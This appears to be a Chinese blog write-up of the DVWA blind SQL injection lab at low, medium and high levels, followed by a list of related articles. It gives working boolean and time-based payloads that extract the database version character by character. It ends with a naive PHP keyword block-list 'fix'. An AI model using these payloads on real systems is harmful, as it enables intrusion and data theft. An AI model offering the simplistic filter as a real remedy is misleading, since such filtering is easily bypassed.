[dvwa] sql injection(Blind)

简介: [dvwa] sql injection(Blind)

blind

0x01 low

1’ and length(version()) = 6 #

syntax: substr(string , from<start from 1>, cut length)

1’ and substr(version(),1,1) = ‘5’ #

1’ and substr(version(),2,1) = ‘.’ #

1’ and substr(version(),3,1) = ‘7’ #

1’ and substr(version(),4,1) = ‘.’ #

1’ and substr(version(),5,1) = ‘2’ #

1’ and substr(version(),6,1) = ‘6’ #

版本为5.7.26

syntax: if(judge, true for, false for)

1’ and if(length(version())=6,sleep(3),1) #

版本号6位

虽然显示数据库中找不到,但是明显观察到页面停顿了大约3秒

1’ and if(substr(version(),1,1)=‘5’,sleep(3),1) #

1’ and if(substr(version(),2,1)=‘.’,sleep(3),1) #

1’ and if(substr(version(),3,1)=‘7’,sleep(3),1) #

1’ and if(substr(version(),4,1)=‘.’,sleep(3),1) #

1’ and if(substr(version(),5,1)=‘2’,sleep(3),1) #

1’ and if(substr(version(),6,1)=‘6’,sleep(3),1) #

0x02 medium

在burp中重放发包

id=1 and length(version())=6&Submit=Submit

id=1 and ascii(substr(version(),1,1))=53#&Submit=Submit

0x03 high

与low相似,代码中增加了limit 1和isset($_COOKIE[‘id’])

查询参数通过cookie中传递

通过post请求体接收查询参数,把查询参数写道cookie,显示页面读cookie值回显

实现抗重放

0x04 Repair 修复漏洞

过滤,简单来说,过滤单引号,括号,空格,and,or,select,将有奇效

一般盲注用脚本爆,限制ip的频繁连接也是有用的

或者在回显处动手脚,随机给个错误回显,属于是调皮捣蛋了

<?php
$id = 1;
$suspects = array(" ","'","(",")","and","or","select");
$allnull = array();
for ($i = 0;$i<count($suspects);$i += 1){
    array_push($allnull,'Hacker');
}
$count = 0;
$id = str_replace($suspects,$allnull,$id,$count);
if($count>0){
    die("blind injection, blind response");
}


相关文章
|
SQL 安全 网络安全
SQL注入(SQL Injection)
【8月更文挑战第11天】
976 3
|
SQL 安全 网络安全
DVWA SQL Injection (Blind) 通关解析
DVWA SQL Injection (Blind) 通关解析
|
SQL Oracle Java
SQL 注入神器:jSQL Injection 保姆级教程
SQL 注入神器:jSQL Injection 保姆级教程
|
SQL 安全 数据库
[dvwa] sql injection
[dvwa] sql injection
|
SQL 安全 .NET
微软发布3款SQL Injection(SQL 注入)攻击检测工具
随着 SQL INJECTION 攻击的明显增多,微软近日发布了三个免费工具,帮助网站管理员和检测存在的风险并对可能的攻击进行拦截。Scrawlr 下载地址:https://h30406.www3.hp.com/campaigns/2008/wwcampaign/1-57C4K/images/Scrawlr.msi 这个微软和 HP合作开发的工具,会在网站中爬行,对所有网页的查询字符串进行分析并发现其中的 SQL INJECTION 风险。
1228 0
|
关系型数据库 MySQL 网络安全
5-10Can't connect to MySQL server on 'sh-cynosl-grp-fcs50xoa.sql.tencentcdb.com' (110)")
5-10Can't connect to MySQL server on 'sh-cynosl-grp-fcs50xoa.sql.tencentcdb.com' (110)")
|
SQL 存储 监控
SQL Server的并行实施如何优化?
【7月更文挑战第23天】SQL Server的并行实施如何优化?
1063 13
解锁 SQL Server 2022的时间序列数据功能
【7月更文挑战第14天】要解锁SQL Server 2022的时间序列数据功能,可使用`generate_series`函数生成整数序列,例如:`SELECT value FROM generate_series(1, 10)。此外,`date_bucket`函数能按指定间隔(如周)对日期时间值分组,这些工具结合窗口函数和其他时间日期函数,能高效处理和分析时间序列数据。更多信息请参考官方文档和技术资料。
762 9
|
SQL 存储 网络安全
关系数据库SQLserver 安装 SQL Server
【7月更文挑战第26天】
465 6